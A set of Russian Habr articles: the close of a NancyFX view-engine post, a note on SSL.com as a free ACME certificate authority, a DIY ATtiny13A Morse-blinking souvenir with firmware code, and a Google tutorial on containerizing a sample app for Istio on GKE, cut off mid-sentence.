вложенные операторы SSVE не поддерживаются. Также есть возможность добавления Partial View. В заключении еще раз хочется добавить, что использование SSVE только в случаях когда надо отобразить простые данные, для отображения сложных типов рекомендуется использовать другие движки представлений. В следующей завершающей цикл статье речь пойдет о тестировании приложений под NancyFX. Жду отзывов и комментариев.
https://habr.com/ru/post/201490/
null
ru
null
# Четвёртый бесплатный УЦ как альтернатива Let's Encrypt ![](https://habrastorage.org/r/w1560/webt/wg/x4/8a/wgx48a-i-siesrod4zd-8xxrsck.png)Как известно, [Let's Encrypt](https://letsencrypt.org/) — не единственный удостоверяющий центр, который автоматически выдаёт бесплатные сертификаты TLS по протоколу ACME. Кроме него, это делают норвежский Buypass (услуга [BuyPass Go SSL](https://www.buypass.com/ssl/products/acme)) и австрийский [ZeroSSL](https://zerossl.com/). До сих пор они оставались единственными резервными вариантами. Но теперь в команде бесплатных УЦ появился четвёртый игрок: [SSL.com](https://secure.ssl.com/users/new). Вообще, сейчас всё больше УЦ начинают выдавать краткосрочные сертификаты и автоматизировать работу по протоколу ACME. В любом случае, полезно иметь запасной вариант на случай сбоя Let's Encrypt. Вдруг [их новые серверы](https://habr.com/ru/company/itsumma/blog/539012/) не выдержат нагрузки. Протокол ACME ============= Для начала нужно пояснить, что основой для работы Let's Encrypt является протокол ACME (Automated Certificate Management Environment). Это открытый протокол для автоматизации взаимодействия с УЦ. В нём нет ничего специфичного для Let's Encrypt, его поддерживает несколько других УЦ. Это означает, что практически все наши инструменты, скрипты и процессы для получения сертификатов из Let's Encrypt будут отлично работать и с другими центрами, которые поддерживают ACME. Кроме стандартного клиента Certbot, есть и [множество других клиентов ACME](https://letsencrypt.org/docs/client-options/). Чтобы перестроиться на другой УЦ, достаточно просто изменить адрес API в настроенных скриптах с `https://acme-v02.api.letsencrypt.org/directory` (Let's Encrypt) на `https://api.buypass.com/acme/directory` (BuyPass) или какой-нибудь другой. SSL.com ======= После [регистрации аккаунта](https://secure.ssl.com/users/new) нужно зайти на [эту страницу](https://secure.ssl.com/api_credentials) и скопировать учётные данные для доступа к API: Account/ACME Key, Secret Key, HMAC Key. ![](https://habrastorage.org/r/w1560/webt/ml/ds/m8/mldsm8mxqtjbqznxbylmgs-3xig.png) Затем настроить клиент ACME на работу с API от SSL.com: зарегистрировать аккаунт RSA, аккаунт ECC — и сгенерировать сертификат. ``` Subject: CN=... Issuer: CN=SSL.com SSL Intermediate CA ECC R2,O=SSL Corp,L=Houston,ST=Texas,C=US -----BEGIN CERTIFICATE----- ... Ly93d3cuc3NsLmNvbS9yZXBvc2l0b3J5MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggr BgEFBQcDATBEBgNVHR8EPTA7MDmgN6A1hjNodHRwOi8vY3Jscy5zc2wuY29tL1NT TGNvbS1TdWJDQS1TU0wtRUNDLTM4NC1SMi5jcmwwHQYDVR0OBBYEFIt0k8bwGO+1 n034I0dkoRWqsSZpMA4GA1UdDwEB/wQEAwIHgDCCAXwGCisGAQQB1nkCBAIEggFs BIIBaAFmAHYA9lyUL9F3MCIUVBgIMJRWjuNNExkzv98MLyALzE7xZOMAAAF7Xbea SwAABAMARzBFAiEAiyE1SNTQwTmRvVykP/UwEhWEQaB+OK8YgAvdB35D0noCIA2E +b8= ... -----END CERTIFICATE----- ``` Процесс занимает считанные минуты. На своём сервере можно настроить выдачу сертификатов по очереди или в случайном порядке от четырёх бесплатных УЦ.
https://habr.com/ru/post/571368/
null
ru
null
# Айтишный сувенир на память своими руками [![сувенир своими руками](https://habrastorage.org/r/w780q1/getpro/geektimes/post_images/d91/dd8/d7d/d91dd8d7d0e9efc79ff855470f72411d.jpg)](http://lh4.googleusercontent.com/_iGuWqh3W4uo/TbwQIysoNKI/AAAAAAAAFlg/CmUdfslHGlg/DSC_0131.jpg)Что скрывать, все мы любим получить и делать различные подарки и сувениры. Особенно хорошо удаются неожиданные презенты и знаки внимания оказываемые без повода. И уж тем более памятными становятся те, что сделаны своими руками. Об одном из таких подарков, изображенным на фото справа, и будет сей рассказ. В основе этой затеи лежит идея сделать образ танцующей пары из светодиодов и резисторов. Но идея была бы не столь интересной если бы танцующие человечки не мигали азбукой Морзе заданные фразы, если бы это мигание не было бы видно только через камеру вашего мобильного телефона а не простым, невооруженным взглядом, и если бы они символично не перемигивались только крепко держась за руки. Cхема, код прошивки и комментарии под хабракатом. Начнем со схемы: ![Схема](https://habrastorage.org/r/w1560/storage/habraeffect/91/95/91957b2d9ce1bc5616fa697780ebecf2.png) Где К1 — ключ лишь «виртуальный», роль которого выполняют руки — либо они друг за друга держатся и цепь не разомкнута, либо — нет. VD1 и VD2 — самые обыкновенные ИК светодиоды, те самые что работают в пультах от ваших телевизоров. Именно их свечение не видно невооруженному глазу но очень хорошо заметно через камеру вашего мобильного телефона. Вместо них можно использовать обычные, скажем, красные светодиоды, но при этом теряется тот самый эффект неожиданности и удивления во время презентации этих чудны́х танцующих человечков. На схеме хоть и присутствует множество резисторов, но критичных для работы всего три: R1 = R2 = 51 Ом и R3 = 10 кОм. Все остальные должны быть нулевого сопротивления или накоротко замкнуты. Емкость C1 = 0.1 мкФ. Что же касается передачи сообщений [азбукой Морзе](http://ru.wikipedia.org/wiki/%D0%90%D0%B7%D0%B1%D1%83%D0%BA%D0%B0_%D0%9C%D0%BE%D1%80%D0%B7%D0%B5), то тут без микроконтроллера (Atmel [ATtiny13A](http://www.atmel.com/dyn/resources/prod_documents/doc8126.pdf)) не обойтись. Именно он будет выдавать серии «точек» и «тире» на наши светодиоды. Для этого в программе сообщения хранятся в виде подготовленных массивов чисел, где каждый бит числа указывает на то, будет ли светиться заданный светодиод или нет. Для подготовки этих массивов был написана простенькая консольная программка принимающая на стандартный вход строку из закодированного азбукой Морзе сообщения в виде точек и тире и возвращающая массив чисел обратно в консоль. Питание всей схемы осуществляется от всем нам знакомой, и, быть может, даже любимой батарейки [CR2032](http://en.wikipedia.org/wiki/CR2032_battery). Сама же прошивка микроконтроллера довольна проста и тривиальна. Приведу лишь ключевую функцию обработчика прерываний от таймера: ``` ISR(TIM0_COMPA_vect) { static uint8_t tmp; if (!(PINB & _BV(HANDS))) // если руки замкнуты { if (hands_flag < 3) // фильтр от случайных замыканий hands_flag++; else { tmp = pgm_read_byte(&(str1[p1/8])); // читаем байт из pgm памяти if (tmp & _BV(p1 % 8)) // проверяем нужный нам бит led_on(LED1); else led_off(LED1); if(++p1 >= (str1_len * 8)) p1 = 0; tmp = pgm_read_byte(&(str2[p2/8])); if (tmp & _BV(p2 % 8)) led_on(LED2); else led_off(LED2); if(++p2 >= (str2_len * 8)) p2 = 0; } } else // если руки разомкнуты { hands_flag = 0; p1 = p2 = 0; led_off(LED1); led_off(LED2); } } ``` Где p1 и p2 — счетчики отображаемых в данный момент бит в наших сообщениях. ##### Скачать полный код прошивки, программу для конвертирования сообщений, схему и все все все что понадобилось для разработки этого проекта можно [здесь](https://docs.google.com/leaf?id=0B1txniyxC5YSYTdlZWJjYzgtNDI1Ny00MTZhLTk1MzQtZGFiY2YyZWU0MGYz&hl=en). А теперь несколько фото готового сувенира: [![сувенир своими руками](https://habrastorage.org/r/w780q1/getpro/geektimes/post_images/33a/ea5/c5a/33aea5c5a5e2efc201a296f8886d858d.jpg)](http://lh4.googleusercontent.com/_iGuWqh3W4uo/TbwQI4HIyMI/AAAAAAAAFlY/nK2d_b0cMoE/DSC_0130.jpg) На некоторых из них даже видно руку счастливой обладательницы :) [![сувенир своими руками](https://habrastorage.org/r/w780q1/getpro/geektimes/post_images/5e0/3e0/9d8/5e03e09d82c4101eeb61d8b53d03dd2d.jpg)](http://lh6.googleusercontent.com/_iGuWqh3W4uo/TbwQI0davAI/AAAAAAAAFlc/CPvCNmcdx3w/DSC_0132.jpg) А еще, в качестве «охранников» можно использовать вот этих милашек из микросхем [К155ЛА3](http://www.chipinfo.ru/dsheets/ic/155/la3.html) :) [![Церберы](https://habrastorage.org/r/w780q1/getpro/geektimes/post_images/537/7d6/2d2/5377d62d2b7f889a3965d8896461577d.jpg)](http://lh5.googleusercontent.com/_iGuWqh3W4uo/TVfELkgrRZI/AAAAAAAAFdk/ae9_s6co2gk/DSC00894.JPG) Ну или просто поражаться смелости альпинистов, карабкающихся изо всех сил на системник: [![Альпинисны](https://habrastorage.org/r/w780q1/getpro/geektimes/post_images/3e1/766/1dd/3e17661ddd45146689cb3ff668ef568a.jpg)](http://lh6.googleusercontent.com/_iGuWqh3W4uo/TSRJWwmS09I/AAAAAAAAFYA/AxFVjNbww90/DSC00858.JPG) Прошу прощения за качество некоторых фото и спасибо за внимание!
https://habr.com/ru/post/118451/
null
ru
null
# Подготовка приложения для Istio ![](https://habrastorage.org/r/w780q1/webt/qy/yw/v1/qyywv1qmzphh1svbblasrxjc6ym.jpeg) Istio — это удобный инструмент для соединения, защиты и мониторинга распределенных приложений. В Istio используются разные технологии для масштабного запуска ПО и управления им, включая контейнеры для упаковки кода приложения и зависимостей для развертывания и Kubernetes — для управления этими контейнерами. Поэтому для работы с Istio вы должны знать, как приложение с несколькими сервисами на основе этих технологий работает *без* Istio. Если эти инструменты и понятия вам уже знакомы, смело пропускайте это руководство и переходите прямо к разделу [Установка Istio на Google Kubernetes Engine (GKE)](https://cloud.google.com/kubernetes-engine/docs/tutorials/installing-istio) или установке расширения [Istio on GKE](https://cloud.google.com/istio/docs/istio-on-gke/installing). Это пошаговое руководство, где мы рассмотрим весь процесс от исходного кода до контейнера на GKE, чтобы вы получили базовое представление об этих технологиях на примере. Также вы увидите, как Istio использует возможности этих технологий. Предполагается, что вы не знаете ничего о контейнерах, Kubernetes, service mesh или Istio. ### Задачи В этом руководстве вы выполните следующие задачи: 1. Изучение простого приложения hello world с несколькими службами. 2. Запуск приложение из исходного кода. 3. Упаковка приложения в контейнеры. 4. Создание кластера Kubernetes. 5. Развертывание контейнеров в кластер. ### Прежде чем начать Следуйте инструкциям, чтобы включить Kubernetes Engine API: 1. Зайдите на [страницу Kubernetes Engine](https://console.cloud.google.com/projectselector/kubernetes?_ga=2.1975991.-786062113.1569439170) в консоли Google Cloud Platform. 2. Создайте или выберите проект. 3. Подождите, пока включится API и связанные службы. Это может занять несколько минут. 4. Убедитесь, что для проекта Google Cloud Platform настроено выставление счетов. [Узнайте, как включить выставление счетов](https://cloud.google.com/billing/docs/how-to/modify-project). В этом руководстве можно использовать Cloud Shell, который подготавливает виртуальную машину [g1-small в Google Compute Engine](https://cloud.google.com/compute/docs/machine-types) с Linux на основе Debian, или компьютер на Linux или macOS. ### Вариант А: использование Cloud Shell Преимущества использования Cloud Shell: * Среды разработки Python 2 и Python 3 (включая **virtualenv**) полностью настроены. * Инструменты командной строки **gcloud**, **docker**, **git** и **kubectl**, которые мы будем использовать, уже установлены. * У вас на выбор несколько [текстовых редакторов](https://cloud.google.com/shell/docs/features#tools): 1. [Редактор кода](https://cloud.google.com/shell/docs/features#code_editor), который открывается значком редактирования в верхней части окна Cloud Shell. 2. Emacs, Vim или Nano, которые открываются из командной строки в Cloud Shell. Чтобы использовать [Cloud Shell](https://cloud.google.com/shell/docs): 1. Перейдите в консоль GCP. 2. Нажмите кнопку **Activate Cloud Shell** (Активировать Cloud Shell) в верхней части окна консоли GCP. ![](https://habrastorage.org/r/w1560/webt/yu/sh/9x/yush9xie9_peummad02lgu2n5x8.png) В нижней части [консоли GCP](https://console.cloud.google.com/?_ga=2.6228405.-786062113.1569439170) в новом окне откроется сеанс Cloud Shell с командной строкой. ![](https://habrastorage.org/r/w1560/webt/yi/no/-q/yino-qj5bwaluwxlo3xtf0yr7ty.png) ### Вариант Б: использование инструментов командной строки локально Если вы будете работать на компьютере с Linux или macOS, нужно настроить и установить следующие компоненты: 1. Настройте [среду разработки Python 3 и Python 2](https://cloud.google.com/python/setup). 2. [Установите Cloud SDK](https://cloud.google.com/sdk/docs/quickstarts) с инструментом командной строки **gcloud**. 3. Установите **kubectl** — инструмент командной строки для работы с [Kubernetes](https://kubernetes.io/docs/home/). ``` gcloud components install kubectl ``` 4. Установите [Docker Community Edition (CE)](https://docs.docker.com/engine/installation/). Вы будете использовать инструмент командной строки **docker**, чтобы создавать образы контейнеров для примера приложения. 5. Установите инструмент [контроля версий Git](https://git-scm.com/downloads), чтобы получить пример приложения с GitHub. ### Загрузка примера кода 1. Загрузите исходный код **helloserver**: ``` git clone https://github.com/GoogleCloudPlatform/istio-samples ``` 2. Перейдите в каталог примера кода: ``` cd istio-samples/sample-apps/helloserver ``` ### Изучение приложения с несколькими сервисами Пример приложения написан на Python и состоит из двух компонентов, которые взаимодействуют с помощью [REST](https://wikipedia.org/wiki/Representational_state_transfer): * **server**: простой сервер с одной конечной точкой **GET, /**, который выводит «hello world» на консоли. * **loadgen**: скрипт, который посылает трафик на **server**, с настраиваемым числом запросов в секунду. ![](https://habrastorage.org/r/w1560/webt/b1/ky/lj/b1kyljxdkjdci12qtle2w3dmtjw.png) ### Запуск приложения из исходного кода Чтобы изучить пример приложения, запустите его в Cloud Shell или на компьютере. 1) В каталоге **istio-samples/sample-apps/helloserver** запустите **server**: ``` python3 server/server.py ``` При запуске **server** отображается следующее: ``` INFO:root:Starting server... ``` 2) Откройте другое окно терминала, чтобы отправлять запросы к **server**. Если вы используете Cloud Shell, нажмите значок добавления, чтобы открыть другой сеанс. 3) Отправьте запрос к **server**: ``` curl http://localhost:8080 ``` server отвечает: ``` Hello World! ``` 4) Из каталога, куда вы загрузили примера кода, перейдите в каталог, который содержит **loadgen**: ``` cd YOUR_WORKING_DIRECTORY/istio-samples/sample-apps/helloserver/loadgen ``` 5) Создайте следующие переменные среды: ``` export SERVER_ADDR=http://localhost:8080 export REQUESTS_PER_SECOND=5 ``` 6) Запустите **virtualenv**: ``` virtualenv --python python3 env ``` 7) Активируйте виртуальную среду: ``` source env/bin/activate ``` 8) Установите требования для **loadgen**: ``` pip3 install -r requirements.txt ``` 9) Запустите **loadgen**: ``` python3 loadgen.py ``` При запуске **loadgen** выводит примерно следующее сообщение: ``` Starting loadgen: 2019-05-20 10:44:12.448415 5 request(s) complete to http://localhost:8080 ``` В другом окне терминала **server** выводит на консоль примерно следующие сообщения: ``` 127.0.0.1 - - [21/Jun/2019 14:22:01] "GET / HTTP/1.1" 200 - INFO:root:GET request, Path: / Headers: Host: localhost:8080 User-Agent: python-requests/2.22.0 Accept-Encoding: gzip, deflate Accept: */* ``` С точки зрения сети, все приложение работает на одном хосте (локальном компьютере или виртуальной машине Cloud Shell). Поэтому можно использовать **localhost**, чтобы отправлять запросы к **server**. 10) Чтобы остановить **loadgen** и **server**, введите **Ctrl-c** в каждом окне терминала. 11) В окне терминала **loadgen** деактивируйте виртуальную среду: ``` deactivate ``` ### Упаковка приложения в контейнеры Чтобы запустить приложение на GKE, нужно упаковать пример приложения — **server** и **loadgen** — в [контейнеры](https://cloud.google.com/containers/). Контейнер — это способ упаковать приложение, чтобы изолировать его от среды. Чтобы упаковать приложение в контейнер, нужен **Dockerfile**. **Dockerfile** — это текстовый файл, где определяются команды для сборки исходного кода приложения и его зависимостей в [образ Docker.](https://docs.docker.com/get-started/) После сборки вы загружаете образ в реестр контейнеров, например Docker Hub или [Container Registry](https://cloud.google.com/container-registry/docs/). В примере уже есть **Dockerfile** для **server** и **loadgen** со всеми нужными командами, чтобы собрать образы. Ниже — **Dockerfile** для **server**: ``` FROM python:3-slim as base FROM base as builder RUN apt-get -qq update \ && apt-get install -y --no-install-recommends \ g++ \ && rm -rf /var/lib/apt/lists/* # Enable unbuffered logging FROM base as final ENV PYTHONUNBUFFERED=1 RUN apt-get -qq update \ && apt-get install -y --no-install-recommends \ wget WORKDIR /helloserver # Grab packages from builder COPY --from=builder /usr/local/lib/python3.7/ /usr/local/lib/python3.7/ # Add the application COPY . . EXPOSE 8080 ENTRYPOINT [ "python", "server.py" ] ``` * Команда **FROM python:3-slim as base** велит Docker использовать последний [образ Python 3](https://hub.docker.com/_/python) в качестве базового. * Команда **COPY. .** копирует исходные файлы в текущий рабочий каталог (в нашем случае только **server.py**) в файловую систему контейнера. * **ENTRYPOINT** определяет команду, которая используется для запуска контейнера. В нашем случае эта команда почти совпадает с той, которую вы использовали для запуска **server.py** из исходного кода. * Команда **EXPOSE** указывает, что **server** ожидает данные через порт **8080**. Эта команда не [предоставляет порты](https://docs.docker.com/engine/reference/builder/#expose). Это что-то вроде документации, которая нужна, чтобы открыть порт **8080** при запуске контейнера. ### Подготовка к контейнеризации приложения 1) Задайте следующие переменные среды. Замените **PROJECT\_ID** на идентификатор своего проекта GCP. ``` export PROJECT_ID="PROJECT_ID" ``` ``` export GCR_REPO="preparing-istio" ``` С помощью значений **PROJECT\_ID** и **GCR\_REPO** вы помечаете образ Docker, когда собираете и отправляете его в частный Container Registry. 2) Задайте проект GCP по умолчанию для инструмента командной строки **gcloud**. ``` gcloud config set project $PROJECT_ID ``` 3) Задайте зону по умолчанию для инструмента командной строки **gcloud**. ``` gcloud config set compute/zone us-central1-b ``` 4) Убедитесь, что сервис Container Registry включен в проекте GCP. ``` gcloud services enable containerregistry.googleapis.com ``` ### Контейнеризация server 1. Перейдите в каталог, где находится пример **server**: ``` cd YOUR_WORKING_DIRECTORY/istio-samples/sample-apps/helloserver/server/ ``` 2. Соберите образ с помощью **Dockerfile** и переменных среды, которые вы определили раньше: ``` docker build -t gcr.io/$PROJECT_ID/$GCR_REPO/helloserver:v0.0.1 . ``` Параметр **-t** представляет тег Docker. Это имя образа, который вы используете при развертывании контейнера. 1. Отправьте образ в Container Registry: ``` docker push gcr.io/$PROJECT_ID/$GCR_REPO/helloserver:v0.0.1 ``` ### Контейнеризация loadgen 1) Перейдите в каталог, где находится пример **loadgen**: ``` cd ../loadgen ``` 2) Соберите образ: ``` docker build -t gcr.io/$PROJECT_ID/$GCR_REPO/loadgen:v0.0.1 . ``` 3) Отправьте образ в Container Registry: ``` docker push gcr.io/$PROJECT_ID/$GCR_REPO/loadgen:v0.0.1 ``` ### Просмотр списка образов Просмотрите список образов в репозитории и убедитесь, что образы отправлены: ``` gcloud container images list --repository gcr.io/$PROJECT_ID/preparing-istio ``` Команда выдает имена только что отправленных образов: ``` NAME gcr.io/PROJECT_ID/preparing-istio/helloserver gcr.io/PROJECT_ID/preparing-istio/loadgen ``` ### Создание кластера GKE. Эти контейнеры можно было бы запустить на виртуальной машине Cloud Shell или на компьютере командой **docker run**. Но в производственной среде нужен способ централизованно оркестрировать контейнеры. Например, нужна система, которая следит, чтобы контейнеры всегда работали, и нужен способ увеличивать масштаб и запускать дополнительные экземпляры контейнеров, если трафик возрастет. Для запуска контейнерных приложений можно использовать [GKE](https://cloud.google.com/kubernetes-engine/docs/concepts/kubernetes-engine-overview). GKE — это платформа оркестрации контейнеров, которая объединяет виртуальные машины в кластер. Каждая виртуальная машина называется узлом. Кластеры GKE основаны на опенсорс-системе управления кластерами Kubernetes. Kubernetes предоставляет механизмы взаимодействия с кластером. Создание кластера GKE: 1) Создайте кластер: ``` gcloud container clusters create istioready \ --cluster-version latest \ --machine-type=n1-standard-2 \ --num-nodes 4 ``` Команда **gcloud** создает кластер istioready в проекте GCP и зоне по умолчанию, которые вы указали. Чтобы запустить Istio, рекомендуем иметь хотя бы 4 узла и виртуальную машину [n1-standard-2](https://cloud.google.com/compute/docs/machine-types#standard_machine_types). Команда создает кластер несколько минут. Когда кластер будет готов, команда выдает подобное [сообщение](https://xpaste.pro/p/TgaxoDI3). 2) Укажите учетные данные в инструменте командной строки **[kubectl](https://kubernetes.io/docs/reference/kubectl/overview/)**, чтобы с ее помощью управлять кластером: ``` gcloud container clusters get-credentials istioready ``` 3) Теперь можно общаться с Kubernetes через **kubectl**. Например, следующей командой можно узнать статус узлов: ``` kubectl get nodes ``` Команда выдает список узлов: ``` NAME STATUS ROLES AGE VERSION gke-istoready-default-pool-dbeb23dc-1vg0 Ready 99s v1.13.6-gke.13 gke-istoready-default-pool-dbeb23dc-36z5 Ready 100s v1.13.6-gke.13 gke-istoready-default-pool-dbeb23dc-fj7s Ready 99s v1.13.6-gke.13 gke-istoready-default-pool-dbeb23dc-wbjw Ready 99s v1.13.6-gke.13 ``` ### Ключевые понятия Kubernetes На схеме показано приложение на GKE: ![](https://habrastorage.org/r/w1560/webt/-s/x2/uj/-sx2ujtlifvzdtixzdqpnr9jzva.png) Прежде чем развернуть контейнеры в GKE, изучите ключевые понятия Kubernetes. В самом конце есть ссылки, если вы хотите узнать больше. * **Узлы и кластеры**. В GKE узел — это виртуальная машина. На других платформах Kubernetes узлом может быть компьютер или виртуальная машина. Кластер — это набор узлов, которые можно считать единым целым и где вы развертываете контейнеризированное приложение. * **Pod’ы**. В Kubernetes контейнеры запускаются в pod’ах. Pod в Kubernetes — это неделимая единица. Pod вмещает один или несколько контейнеров. Вы разворачиваете контейнеры server и **loadgen** в отдельных pod’ах. Когда в pod’е несколько контейнеров (например, сервер приложения и [прокси-сервер](https://wikipedia.org/wiki/Proxy_server)), контейнеры управляются как единый объект и совместно используют ресурсы pod’а. * **Развертывания**. В Kubernetes развертывание — это объект, представляющий собой набор идентичных pod’ов. Развертывание запускает несколько реплик pod’ов, распределенных по узлам кластера. Развертывание автоматически заменяет pod’ы, которые отказали или не отвечают. * **Сервис Kubernetes**. При запуске кода приложения в GKE меняется соединение между **loadgen** и **server**. Когда вы запустили сервисы на виртуальной машине Cloud Shell или на компьютере, вы отправляли запросы к **server** по адресу **localhost:8080**. После развертывания в GKE pod’ы выполняются на доступных узлах. По умолчанию вы никак не можете управлять тем, на каком узле запущен pod, так что у [pod’ов](https://cloud.google.com/kubernetes-engine/docs/concepts/network-overview#pods) нет постоянных IP-адресов. Чтобы получить IP-адрес для **server**, нужно определить абстракцию сети поверх pod’ов. Это и есть [сервис Kubernetes](https://cloud.google.com/kubernetes-engine/docs/concepts/network-overview#services). Сервис Kubernetes предоставляет постоянную конечную точку для набора pod’ов. Есть несколько [типов сервисов](https://cloud.google.com/kubernetes-engine/docs/concepts/service#types_of_services). **server** использует **LoadBalancer**, который предоставляет внешний IP-адрес, чтобы связаться с **server** из-за пределов кластера. Еще в Kubernetes есть встроенная система DNS, которая назначает имена DNS (например, **helloserver.default.cluster.local**) сервисам. Благодаря этому pod’ы внутри кластера связываются с другими pod’ами в кластере по постоянному адресу. Имя DNS нельзя использовать за пределами кластера, например в Cloud Shell или на компьютере. ### Манифесты Kubernetes Когда вы запускали приложение из исходного кода, вы использовали императивную команду **python3** **server.py** Императивность подразумевает глагол: «сделай это». Kubernetes использует [декларативную модель](https://cloud.google.com/kubernetes-engine/docs/how-to/deploying-workloads-overview#declarative_object_configuration). Это значит, что мы не говорим Kubernetes, что именно нужно делать, а описываем желаемое состояние. Например, Kubernetes запускает и останавливает pod’ы по мере необходимости, чтобы фактическое состояние системы соответствовало желаемому. Желаемое состояние вы указываете в манифестах, или файлах [YAML](https://wikipedia.org/wiki/YAML). Файл YAML содержит спецификации для одного или нескольких объектов Kubernetes. В примере содержится файл YAML для **server** и **loadgen**. Каждый файл YAML указывает желаемое состояние объекта развертывания и сервиса Kubernetes. **server.yaml** ``` apiVersion: apps/v1 kind: Deployment metadata: name: helloserver spec: selector: matchLabels: app: helloserver replicas: 1 template: metadata: labels: app: helloserver spec: terminationGracePeriodSeconds: 5 restartPolicy: Always containers: - name: main image: gcr.io/google-samples/istio/helloserver:v0.0.1 imagePullPolicy: Always ``` * **kind** указывает тип объекта. * **metadata.name** указывает имя развертывания. * Первое поле **spec** содержит описание желаемого состояния. * **spec.replicas** указывает желаемое число pod’ов. * Раздел **spec.template** определяет шаблон pod’а. В спецификации pod’ов есть поле **image**, где указывается имя образа, который нужно извлечь из Container Registry. Сервис определяется следующим образом: ``` apiVersion: v1 kind: Service metadata: name: hellosvc spec: type: LoadBalancer selector: app: helloserver ports: - name: http port: 80 targetPort: 8080 ``` * **LoadBalancer**: клиенты отправляют запросы на IP-адрес балансировщика нагрузки, у которого есть постоянный IP-адрес и который доступен из-за пределов кластера. * **targetPort**: как вы помните, команда **EXPOSE 8080** в **Dockerfile** не предоставляла порты. Вы предоставляете порт **8080**, чтобы можно было связаться с контейнером **server** снаружи кластера. В нашем случае **hellosvc.default.cluster.local:80** (короткое имя: **hellosvc**) соответствует порту **8080** IP-адреса пода **helloserver**. * **port**: это номер порта, куда остальные сервисы в кластере будут отправлять запросы. **loadgen.yaml** Объект развертывания в **loadgen.yaml** похож на **server.yaml**. Разница в том, что объект развертывания содержит раздел **env**. Он определяет переменные среды, которые нужны **loadgen** и которые вы установили при запуске приложения из исходного кода. ``` apiVersion: apps/v1 kind: Deployment metadata: name: loadgenerator spec: selector: matchLabels: app: loadgenerator replicas: 1 template: metadata: labels: app: loadgenerator spec: terminationGracePeriodSeconds: 5 restartPolicy: Always containers: - name: main image: gcr.io/google-samples/istio/loadgen:v0.0.1 imagePullPolicy: Always env: - name: SERVER_ADDR value: "http://hellosvc:80/" - name: REQUESTS_PER_SECOND value: "10" resources: requests: cpu: 300m memory: 256Mi limits: cpu: 500m memory: 512Mi ``` Раз **loadgen** не принимает входящие запросы, для поля **type** указано **ClusterIP**. Этот тип предоставляет постоянный IP-адрес, который могут использовать сервисы в кластере, но этот IP-адрес не предоставляется внешним клиентам. ``` apiVersion: v1 kind: Service metadata: name: loadgensvc spec: type: ClusterIP selector: app: loadgenerator ports: - name: http port: 80 targetPort: 8080 ``` ### Развертывание контейнеров в GKE 1) Перейдите в каталог, где находится пример **server**: ``` cd YOUR_WORKING_DIRECTORY/istio-samples/sample-apps/helloserver/server/ ``` 2) Откройте **server.yaml** в текстовом редакторе. 3) Замените имя в поле **image** на имя вашего образа Docker. ``` image: gcr.io/PROJECT_ID/preparing-istio/helloserver:v0.0.1 ``` Замените **PROJECT\_ID** на идентификатор вашего проекта GCP. 4) Сохраните и закройте **server.yaml**. 5) Разверните файл YAML в Kubernetes: ``` kubectl apply -f server.yaml ``` После успешного завершения команда выдает следующий код: ``` deployment.apps/helloserver created service/hellosvc created ``` 6) Перейдите в каталог, где находится **loadgen**: ``` cd ../loadgen ``` 7) Откройте **loadgen.yaml** в текстовом редакторе. 8) Замените имя в поле **image** на имя вашего образа Docker. ``` image: gcr.io/PROJECT_ID/preparing-istio/loadgenv0.0.1 ``` Замените **PROJECT\_ID** на идентификатор вашего проекта GCP. 9) Сохраните и закройте **loadgen.yaml**, закройте текстовый редактор. 10) Разверните файл YAML в Kubernetes: ``` kubectl apply -f loadgen.yaml ``` После успешного завершения команда выдает следующий код: ``` deployment.apps/loadgenerator created service/loadgensvc created ``` 11) Проверьте статус подов: ``` kubectl get pods ``` Команда показывает статус: ``` NAME READY STATUS RESTARTS AGE helloserver-69b9576d96-mwtcj 1/1 Running 0 58s loadgenerator-774dbc46fb-gpbrz 1/1 Running 0 57s ``` 12) Извлеките логи приложения из пода **loadgen**. Замените **POD\_ID** на идентификатор из предыдущего ответа. ``` kubectl logs loadgenerator-POD_ID ``` 13) Получите внешние IP-адреса **hellosvc**: ``` kubectl get service ``` Ответ команды выглядит примерно так: ``` NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE hellosvc LoadBalancer 10.81.15.158 192.0.2.1 80:31127/TCP 33m kubernetes ClusterIP 10.81.0.1 443/TCP 93m loadgensvc ClusterIP 10.81.15.155 80/TCP 4m52s ``` 14) Отправьте запрос к **hellosvc**: замените **EXTERNAL\_IP** на внешний IP-адрес **hellosvc**. ``` curl http://EXTERNAL_IP ``` ### Беремся за Istio У вас уже есть приложение, развернутое в GKE. **loadgen** может использовать Kubernetes DNS (**hellosvc:80**), чтобы отправлять запросы к **server**, и вы можете отправлять запросы к **server** по внешнему IP-адресу. Хотя у Kubernetes много возможностей, кое-какой информации о сервисах не хватает: * **Как взаимодействуют сервисы?** Какие отношения между сервисами? Как проходит трафик между сервисами? Вы в курсе, что **loadgen** отправляет запросы к **server**, но представьте, что вы ничего не знаете о приложении. Чтобы ответить на эти вопросы, смотрим на список запущенных подов в GKE. * **Метрики**. Как долго **server** отвечает на входящий запрос? Сколько запросов в секунду поступает на server? Он выдает сообщения об ошибках? * **Сведения о безопасности**. Трафик между **loadgen** и **server** проходит просто по **HTTP** или по [mTLS](https://wikipedia.org/wiki/Mutual_authentication)? На все эти вопросы отвечает Istio. Для этого Istio помещает sidecar-прокси [Envoy](https://www.envoyproxy.io/) в каждый pod. Прокси Envoy перехватывает весь входящий и исходящий трафик к контейнерам приложения. Это означает, что **server** и **loadgen** получают по sidecar-прокси Envoy, и весь трафик от **loadgen** к **server** проходит через прокси Envoy. Соединения между прокси Envoy образуют service mesh. Архитектура service mesh предоставляет уровень контроля поверх Kubernetes. ![](https://habrastorage.org/r/w1560/webt/7n/sk/z-/7nskz-5os2onyoaaf5kz5x38ve4.png) Раз прокси Envoy выполняются в своих контейнерах, Istio можно установить поверх кластера GKE, почти не меняя код приложения. Но вы проделали кое-какую работу, чтобы подготовить приложение к управлению с помощью Istio: * Сервисы для всех контейнеров. К развертываниям **server** и **loadgen** привязано по сервису Kubernetes. Даже у **loadgen**, к которому не поступают входящие запросы, есть сервис. * У портов в сервисах должны быть имена. Хотя в GKE порты сервисов можно оставлять без имени, Istio требует указать [имя порта](https://istio.io/docs/setup/kubernetes/additional-setup/requirements/) в соответствии с его протоколом. В файле YAML порт для **server** называется **http**, потому что server использует протокол **HTTP**. Если бы **service** использовал **gRPC**, вы бы назвали порт **grpc**. * Развертывания помечаются. Поэтому вы можете использовать функции управления трафиком Istio, например разделять трафик между версиями одного сервиса. ### Установка Istio Установить Istio можно двумя способами. Можно [включить расширение Istio on GKE](https://cloud.google.com/istio/docs/istio-on-gke/installing#adding_istio_on_gke_to_an_existing_cluster) или [установить опенсорс-версию 